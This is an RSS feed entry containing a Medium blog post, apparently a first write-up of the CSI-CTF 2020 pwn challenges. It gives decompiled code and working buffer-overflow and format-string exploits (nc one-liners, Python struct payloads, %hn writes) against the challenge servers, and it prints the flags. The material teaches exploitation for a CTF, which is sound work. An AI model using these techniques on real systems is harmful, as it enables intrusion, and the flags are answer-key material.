<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Nishant Verma on Medium]]></title>
        <description><![CDATA[Stories by Nishant Verma on Medium]]></description>
        <link>https://medium.com/@blackshadowOO7?source=rss-6a2767ca1a27------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*Qy9ZVnBHprIzkfqeFTfrhw.jpeg</url>
            <title>Stories by Nishant Verma on Medium</title>
            <link>https://medium.com/@blackshadowOO7?source=rss-6a2767ca1a27------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 02:05:04 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@blackshadowOO7/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[CSI-CTF 2020 pwn write-up]]></title>
            <link>https://medium.com/@blackshadowOO7/csi-ctf-2020-pwn-write-up-4cd934e4bea2?source=rss-6a2767ca1a27------2</link>
            <guid isPermaLink="false">https://medium.com/p/4cd934e4bea2</guid>
            <category><![CDATA[format-string-exploit]]></category>
            <category><![CDATA[pwn]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[binary-exploitation]]></category>
            <category><![CDATA[buffer-overflow]]></category>
            <dc:creator><![CDATA[Nishant Verma]]></dc:creator>
            <pubDate>Thu, 23 Jul 2020 09:25:47 GMT</pubDate>
            <atom:updated>2020-07-23T09:25:47.439Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2H29h9bLKzv7AFpmhfGlvA.png" /><figcaption><a href="https://ctf.csivit.com/">https://ctf.csivit.com/</a></figcaption></figure><p>A month back in June-2020, we a team(<a href="https://ctftime.org/team/126059"><em>fr3nzyM1n3rs</em></a>) of 3 members started doing CTFs for the first time. As a beginner we were practicing on different platforms. After few days of practice we started taking part in CTFs seriously. Few days back we came to know about this CTF hosted by csictf Team.<br>So, this is my first ever write-up, in this write-up I’ll cover the pwn challenges.</p><h3>pwn-intended-0x1</h3><p>nc chall.csivit.com 30001</p><p>We are given an ELF 64bit executable <a href="https://drive.google.com/file/d/1fRhS4V7G3vi25hoiW4lv5CWXiCuaVACo/view?usp=sharing"><strong>file</strong></a>, which when de-compiling with <strong>ghidra </strong>resulted in the following code.</p><pre>undefined8 main(void)<br><br>{<br>  char local_38 [44];<br>  int local_c;<br><br>  local_c = 0;<br>  setbuf(stdout,(char *)0x0);<br>  setbuf(stdin,(char *)0x0);<br>  setbuf(stderr,(char *)0x0);<br>  puts(&quot;Please pour me some coffee:&quot;);<br>  gets(local_38);<br>  puts(&quot;\nThanks!\n&quot;);<br>  if (local_c != 0) {<br>    puts(&quot;Oh no, you spilled some coffee on the floor! Use the flag to clean it.&quot;);<br>    system(&quot;cat flag.txt&quot;);<br>  }<br>  return 0;<br>}</pre><p>The code accepts input via gets() into a local_38buffer that holds 44 chars, and immediately after that on the stack is local_c which just has to be non-zero to get the flag. All you have to do is enter more than 44 chars of input.</p><h4>Exploit</h4><pre>python -c &#39;print &quot;A&quot;*45&#39; | nc chall.csivit.com 30001</pre><p><strong>FLAG : csictf{y0u_ov3rfl0w3d_th@t_c0ff33<em>l1ke</em>@_buff3r}</strong></p><h3>pwn-intended-0x2</h3><p>nc chall.csivit.com 30007</p><p>We are again given an ELF 64bit executable <a href="https://drive.google.com/file/d/1vmanu1kOCDek_w2cJgRyoY_em6h8Jc8x/view?usp=sharing"><strong>file</strong></a>, which we will de-compile with ghidra.</p><pre>undefined8 main(void)<br><br>{<br>  char local_38 [44];<br>  int local_c;<br><br>  local_c = 0;<br>  setbuf(stdout,(char *)0x0);<br>  setbuf(stdin,(char *)0x0);<br>  setbuf(stderr,(char *)0x0);<br>  puts(&quot;Welcome to csictf! Where are you headed?&quot;);<br>  gets(local_38);<br>  puts(&quot;Safe Journey!&quot;);<br>  if (local_c == -0x35014542) {<br>    puts(&quot;You\&#39;ve reached your destination, here\&#39;s a flag!&quot;);<br>    system(&quot;/bin/cat flag.txt&quot;);<br>  } </pre><pre>  return 0;<br>}</pre><p>This is almost identical to the previous one except, we have to set the value of local_c variable to -0x35014542 which is <strong>0xcafebabe</strong> in hex. We can disassemble the binary file using <strong>objdump.</strong></p><p>root@kali:~/csictf$ objdump -d pwn-intented-0x2</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n1Nf9hFDsvV4qQhauy7oYQ.png" /><figcaption>0xcafebabe is being compared to the value that is in rbp-4</figcaption></figure><p>So we just have to write 0xcafebabe after 44 bytes.</p><h4>Exploit</h4><pre>#!/usr/bin/env python<br>import struct<br>payload = &#39;&#39;<br>payload += &#39;A&#39;*44<br>payload += struct.pack(&quot;I&quot;, 0xcafebabe)<br>print payload</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*0_pWzvTex98AGXShUx0Keg.png" /></figure><h4><strong>FLAG : csictf{</strong>c4n_y0u_re4lly_telep0rt?}</h4><h3>pwn-intended-0x3</h3><p>nc chall.csivit.com 30013</p><p>This is also an ELF 64bit executable <a href="https://drive.google.com/file/d/1zl606IREJKa4STTa7jFYBg9MB1-RLBR8/view?usp=sharing"><strong>file</strong></a>, reverse it in ghidra and we get.</p><pre>undefined8 main(void)<br><br>{<br>  char local_28 [32];<br><br>  setbuf(stdout,(char *)0x0);<br>  setbuf(stdin,(char *)0x0);<br>  setbuf(stderr,(char *)0x0);<br>  puts(&quot;Welcome to csictf! Time to teleport again.&quot;);<br>  gets(local_28);<br>  return 0;<br>}</pre><p>There is another function called flag() that we need to get to by overwriting the return address in main().</p><pre>void flag(void)<br><br>{<br>  puts(&quot;Well, that was quick. Here\&#39;s your flag:&quot;);<br>  system(&quot;cat flag.txt&quot;);<br>                    /* WARNING: Subroutine does not return */<br>  exit(0);<br>}</pre><p>We can get the address of flag() with objdump -d pwn-intended-0x3</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*79sGgD2_c1e5kn_51x1d-w.png" /><figcaption>address of flag() = 0x4011ce</figcaption></figure><p>We open up GDB set a breakpoint after the gets() to see what the stack looks like after the input.<br>To find the offset, we run the code, input 8 A’s, and then examine the stack by x/30x $rsp and examine the base pointer by x/x $rbp</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*JZXU5FUAHS63o367H3hUMg.png" /></figure><p>Here, we can see our A’s as 0x41414141in the stack and the base pointer 0x00401200 we can find out the offset to the base pointer by calculating the bytes between the A’s and the rbp, which is additional 6*4 bytes and to overwrite the rbp we need to write another 8 bytes (since it is a 64bit machine) and then put in the address of the flag.</p><h4>Exploit</h4><pre>#!/usr/bin/env python<br>import struct<br>payload = &#39;&#39;<br>payload += &#39;A&#39;*40<br>payload += struct.pack(&quot;I&quot;, 0x4011ce)<br>print payload</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1009/1*Axo_UMMG3u3jf7PqV5NN9g.png" /></figure><h4>FLAG : csictf{ch4lleng1ng_th3_v3ry_l4ws_0f_phys1cs}</h4><h3>Secret Society</h3><p>nc chall.csivit.com 30041</p><p>The file is an ELF 64bit executable <a href="https://drive.google.com/file/d/1Qd-Ggfgps__CfaXorZSVET0jGBb_RBNU/view?usp=sharing"><strong>file</strong></a><strong>. </strong>On de-compiling with ghidra, we see the main()</p><pre>undefined8 main(void)<br>{<br>  size_t sVar1;<br>  undefined8 local_d8 [2];<br>  undefined4 uStack200;<br>  undefined auStack196 [108];<br>  char local_58 [56];<br>  FILE *local_20;<br>  char *local_18;<br>  __gid_t local_c;<br>  <br>  setvbuf(stdout,(char *)0x0,2,0);<br>  local_c = getegid();<br>  setresgid(local_c,local_c,local_c);<br>  memset(local_58,0,0x32);<br>  memset(local_d8,0,0x80);<br>  puts(&quot;What is the secret phrase?&quot;);<br>  fgets((char *)local_d8,0x80,stdin);<br>  local_18 = strchr((char *)local_d8,10);<br>  if (local_18 != (char *)0x0) {<br>    *local_18 = &#39;\0&#39;;<br>  }<br>  sVar1 = strlen((char *)local_d8);<br>  *(undefined8 *)((long)local_d8 + sVar1) = 0x657261206577202c;<br>  *(undefined8 *)((long)local_d8 + sVar1 + 8) = 0x6877797265766520;<br>  *(undefined4 *)((long)&amp;uStack200 + sVar1) = 0x2e657265;<br>  auStack196[sVar1] = 0;<br>  local_20 = fopen(&quot;flag.txt&quot;,&quot;r&quot;);<br>  if (local_20 == (FILE *)0x0) {<br>    printf(&quot;You are a double agent, it\&#39;s game over for you.&quot;);<br>                    /* WARNING: Subroutine does not return */<br>    exit(0);<br>  }<br>  fgets(local_58,0x32,local_20);<br>  printf(&quot;Shhh... don\&#39;t tell anyone else about &quot;);<br>  puts((char *)local_d8);<br>  return 0;<br>}</pre><p>This prompts us for a secret phrase, using a buffer that is only 16 bytes, but it’s succeptible to a buffer overflow. What happens when we run it? Lets create a fake flag.txt and input many A’s to overflow.</p><h4>Exploit</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/978/1*295IUfv3UGCF3LovgoUjKA.png" /></figure><p>Great! it printed the flag.txtfile, now we run it against the remote server to get the flag.</p><pre>python -c &#39;print &quot;A&quot;*200&#39; | nc chall.csivit.com 30041</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*maFGzdre7RQLS9TcRVjgJA.png" /></figure><h4>FLAG : csivit{Bu!!er_e3pl01ts_ar5_5asy}</h4><h3>Global Warming</h3><p>nc chall.csivit.com 30023</p><p>This time we are given an ELF 64bit executable <a href="https://drive.google.com/file/d/1-zambOFg0sDdjg7knw3oJ7-_vZN7bRNz/view?usp=sharing"><strong>file,</strong></a><strong> </strong>lets de-compile with ghidra and take a look at main()</p><pre>undefined4 main(void)<br>{<br>  char local_410 [1024];<br>  undefined *local_10;<br>  <br>  local_10 = &amp;stack0x00000004;<br>  setbuf(stdout,(char *)0x0);<br>  setbuf(stdin,(char *)0x0);<br>  setbuf(stderr,(char *)0x0);<br>  fgets(local_410,0x400,stdin);<br>  login(&amp;DAT_0804a030,local_410);<br>  return 0;<br>}</pre><p>main() is very simple it takes an input using a secure fgets() (meaning we will not have a BoF) and passes the input to the login() function.<br>Now we take a look at the login() function.</p><pre>void login(undefined4 param_1,char *param_2)<br>{<br>  printf(param_2);<br>  if (admin == -0x4b24541d) {<br>    system(&quot;cat flag.txt&quot;);<br>  }<br>  else {<br>    printf(&quot;You cannot login as admin.&quot;);<br>  }<br>  return;<br>}</pre><p>login() passes our input directly into printf() and this is important because it&#39;s vulnerable to format string attacks. Then it compares a global variable called admin to -0x4b24541d (0xb4dbabe3in hex) and gives us the flag if true.<br>Therefore, we should be able to write 0xb4dbabe3 to admin through a format string attack.</p><h4>Exploit</h4><p><strong>Finding the address of </strong>admin <br>objdump -t global-warming | grep admin</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/1*dVVrgLF7ibC5pz3sfO0J9w.png" /><figcaption>address of admin 0x804c02c</figcaption></figure><p><strong>Finding offset<br></strong>We input 4 A’s and some %xto print out the stack, and find our A’s in it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1013/1*uggdBkkml-T7czShnTTu5g.png" /></figure><p>Here we can see that our A’s are at 12th offset, which we can print with python -c &quot;print &#39;AAAA&#39; + &#39;%12\$x&#39;&quot;</p><p>Now we need to write the address of admin, which we can write with %n<br> python -c &quot;print &#39;\x2c\xc0\x04\x08&#39; + &#39;%12\$x&#39;&quot;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tYvRjUfrRZhhRBvB3KCVHQ.png" /></figure><p>Great! we have successfully written the address of admin on the stack. Now we have to overwrite the value at admin with 0xb4dbabe3</p><p><strong>Overwriting</strong> admin<br> On converting 0xb4dbabe3‬ to decimal we get 3034295267 since this is a huge number, we will have to do 2 short writes using %hn <br>So, we start the binary file in GDB and set a breakpoint just after the printf() and print the address of admin</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/1*NzU_gja3r7wbj0NmkjCtzQ.png" /><figcaption>address of admin 0x804c02c</figcaption></figure><p>Now we divide this address into two parts as 0x804c02c and 0x804c02c+2 (since we are writing short bytes). We will also have to divide the value0xb4dbabe3‬ that is to be written on admin into two parts0xabe3and 0xb4db‬‬. Now the offset for the first and the second half of the address would be 12 and 13 respectively.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*juHE6SmVJYbElRm02rE0lA.png" /></figure><p>Running this in GDB and examining the value at</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/389/1*5Uq8s1A5MPwYbe_IADVUUQ.png" /></figure><p><strong>Finding Width</strong><br>The value at admin is 0x00080008 so subtracting 0x0008 from 0xabe3 we get 43995 which is needed to be added before the 1st offset. Now the script becomes:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/812/1*uE339e4mG0y9qEXlhL9R_g.png" /></figure><p>Upon running in GDB and examining the value at admin we get</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/614/1*k3BnCrGSw3dW9LgMWHOiRA.png" /></figure><p>Great! we have successfully changed the last 2 bytes to 0xabe3 , now we subtract 0xabe3 from 0xb4db and get 2296 , upon setting out width2 to this number, our script becomes</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/924/1*B-7jYIwIIyxu2vioRlUDSg.png" /></figure><p>running it in GDB gives us “flag”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eCm8C-ztxDAZaTlLd-IgSg.png" /></figure><p>Now we can run it against the remote server to get the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/657/1*hGt0k5BzuWd-JxKCGHn9HA.png" /></figure><h4>FLAG : <strong>csictf{n0_5tr1ng5_@tt@ch3d}</strong></h4><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4cd934e4bea2" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>